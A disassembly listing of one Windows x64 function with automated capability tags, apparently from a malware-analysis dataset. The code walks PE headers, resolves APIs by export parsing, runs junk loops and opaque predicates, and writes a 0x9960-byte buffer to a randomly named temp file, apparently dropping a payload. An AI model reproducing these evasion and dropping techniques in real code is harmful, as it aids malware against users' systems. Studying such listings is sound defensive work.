Function at 0x140002560
Capabilities:
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xae8
movaps xmmword [rsp + 0xad0], xmm14
movaps xmmword [rsp + 0xac0], xmm13
movapd xmmword [rsp + 0xab0], xmm12
movapd xmmword [rsp + 0xaa0], xmm11
movapd xmmword [rsp + 0xa90], xmm10
movapd xmmword [rsp + 0xa80], xmm9
movapd xmmword [rsp + 0xa70], xmm8
movapd xmmword [rsp + 0xa60], xmm7
movapd xmmword [rsp + 0xa50], xmm6
xor r15d, r15d
test rcx, rcx
je 0x1400064af
mov rbx, rcx
movsxd r12, dword [rcx + 0x3c]
mov rbp, r12
add rbp, rcx
je 0x1400064af
lea rdi, [r12 + rbx]
add rdi, 0x108
test rdi, rdi
je 0x1400064af
mov esi, 0x2cfc
movaps xmm6, xmmword [0x14012b170]
movabs r14, 0x1e1200001e12
nop word cs:[rax + rax]
mov ecx, 0xea60
call fcn.1400dc7d0
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x60], xmm6
movups xmmword [rax + 0x70], xmm6
movups xmmword [rax + 0x80], xmm6
movups xmmword [rax + 0x90], xmm6
movups xmmword [rax + 0xa0], xmm6
movups xmmword [rax + 0xb0], xmm6
movups xmmword [rax + 0xc0], xmm6
movups xmmword [rax + 0xd0], xmm6
movups xmmword [rax + 0xe0], xmm6
movups xmmword [rax + 0xf0], xmm6
movups xmmword [rax + 0x100], xmm6
movups xmmword [rax + 0x110], xmm6
movups xmmword [rax + 0x120], xmm6
movups xmmword [rax + 0x130], xmm6
movups xmmword [rax + 0x140], xmm6
movups xmmword [rax + 0x150], xmm6
movups xmmword [rax + 0x160], xmm6
movups xmmword [rax + 0x170], xmm6
mov qword [rax + 0x180], r14
mov dword [rax + 0x188], 0x1e12
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x140002620
lea rdx, [rsp + 0x850]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
lea r14, [rsp + 0x530]
mov r8d, 0x104
mov rcx, r14
xor edx, edx
call sub.msvcrt.dll_memset
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
movabs rsi, 0x4924924924924925
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
lea r13, str.FWENVGZIARMAUQabcdefghijklmnopqrstuvwxyzSLAIDP
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
lea r15, [rsp + 0x130]
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rsi
shr rdx, 1
mov rax, rdx
shl rax, 4
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [r13 + rdx]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
mov esi, 0x2d7f
movaps xmm6, xmmword [0x14012b180]
nop word cs:[rax + rax]
mov ecx, 0xea60
call fcn.1400dc7d0
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x60], xmm6
movups xmmword [rax + 0x70], xmm6
movups xmmword [rax + 0x80], xmm6
movups xmmword [rax + 0x90], xmm6
movups xmmword [rax + 0xa0], xmm6
movups xmmword [rax + 0xb0], xmm6
movups xmmword [rax + 0xc0], xmm6
movups xmmword [rax + 0xd0], xmm6
movups xmmword [rax + 0xe0], xmm6
mov dword [rax + 0xf0], 0xc63
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x140002a30
lea r14, [rsp + 0x640]
lea rdx, [rsp + 0x850]
mov rcx, r14
call sub.msvcrt.dll_wcscpy
lea rdx, [rsp + 0x530]
mov rcx, r14
call sub.msvcrt.dll_wcscat
mov word [rsp + 0x846], 0
mov qword [rsp + 0x120], 0
lea r8, [0x14012b7d0]
lea rcx, [rsp + 0x120]
mov rdx, r14
call qword [sym.imp.msvcrt.dll__wfopen_s]
lea rcx, [0x14011d4b8]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140008e40
lea rcx, [0x14011d498]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x140002b28
mov r8d, dword [rcx]
jmp 0x1400031dd
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x140002c4d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b190]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140002c0e
xorpd xmm0, xmm0
nop word [rax + rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140002c0e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140005120
jp 0x140005120
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140002ba0
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400030b5
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140002d8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1a0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140002d4e
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140002d4e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140006593
jp 0x140006593
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140002ce0
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x140002ead
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1a8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140002e6e
xorpd xmm0, xmm0
nop dword [rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140002e6e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400065d3
jp 0x1400065d3
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140002e00
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140002f6e
xorpd xmm0, xmm0
nop dword [rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140002f6e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140005160
jp 0x140005160
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140002f00
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000306e
xorpd xmm0, xmm0
nop
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000306e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400051a1
jp 0x1400051a1
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003000
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x1400031dd
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000319e
xorpd xmm0, xmm0
nop word cs:[rax + rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000319e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400051e1
jp 0x1400051e1
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003130
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea r9, [0x14011f810]
lea rcx, [0x1401d1038]
lea r14, [0x1400df040]
mov rdx, r14
mov r8d, 0x9960
call qword [r9 + rax*8]
mov r9, qword [rsp + 0x120]
mov edx, 1
mov r8d, 0x9960
mov rcx, r14
call sub.msvcrt.dll_fwrite
mov rcx, qword [rsp + 0x120]
call sub.msvcrt.dll_fclose
lea rcx, [0x14011d4f8]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140008e6a
lea rcx, [0x14011d4d8]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x140003260
mov r8d, dword [rcx]
jmp 0x14000391d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x14000338d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b190]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000334e
xorpd xmm0, xmm0
nop word cs:[rax + rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000334e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140005221
jp 0x140005221
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400032e0
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400037f5
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x1400034cd
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1a0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000348e
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000348e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140006613
jp 0x140006613
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003420
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x1400035ed
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1a8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400035ae
xorpd xmm0, xmm0
nop dword [rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400035ae
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140006653
jp 0x140006653
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003540
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400036ae
xorpd xmm0, xmm0
nop dword [rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400036ae
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140005261
jp 0x140005261
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003640
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400037ae
xorpd xmm0, xmm0
nop
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400037ae
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400052a2
jp 0x1400052a2
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003740
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x14000391d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400038de
xorpd xmm0, xmm0
nop word cs:[rax + rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400038de
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400052e2
jp 0x1400052e2
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003870
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea r8, [0x14011f770]
mov rcx, rbp
mov rdx, rdi
call qword [r8 + rax*8]
mov r13d, eax
xorpd xmm0, xmm0
movapd xmmword [rsp + 0x4c0], xmm0
movapd xmmword [rsp + 0x4d0], xmm0
movapd xmmword [rsp + 0x4e0], xmm0
movapd xmmword [rsp + 0x4f0], xmm0
movapd xmmword [rsp + 0x500], xmm0
movapd xmmword [rsp + 0x510], xmm0
mov qword [rsp + 0x520], 0
mov dword [rsp + 0x4c0], 0x68
movapd xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov esi, 0x2db5
movapd xmm6, xmmword [0x14012b1c0]
movabs rdi, 0x1bb900001bb9
nop word cs:[rax + rax]
mov ecx, 0xea60
call fcn.1400dc7d0
movupd xmmword [rax], xmm6
movupd xmmword [rax + 0x10], xmm6
movupd xmmword [rax + 0x20], xmm6
movupd xmmword [rax + 0x30], xmm6
movupd xmmword [rax + 0x40], xmm6
movupd xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], rdi
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x1400039c0
movapd xmm0, xmmword [str.kernel32]
movapd xmmword [rsp + 0x4a0], xmm0
movabs rax, 0x6c006c0064002e
mov qword [rsp + 0x4b0], rax
mov word [rsp + 0x4b8], 0
lea rcx, [rsp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x1400064ac
mov r14, rax
movups xmm0, xmmword [0x1401a3ae0]
movups xmmword [rsp + 0x43e], xmm0
movupd xmm0, xmmword [0x1401a3ad2]
movapd xmmword [rsp + 0x430], xmm0
lea rcx, [0x14011d538]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140008f2a
lea rcx, [0x14011d518]
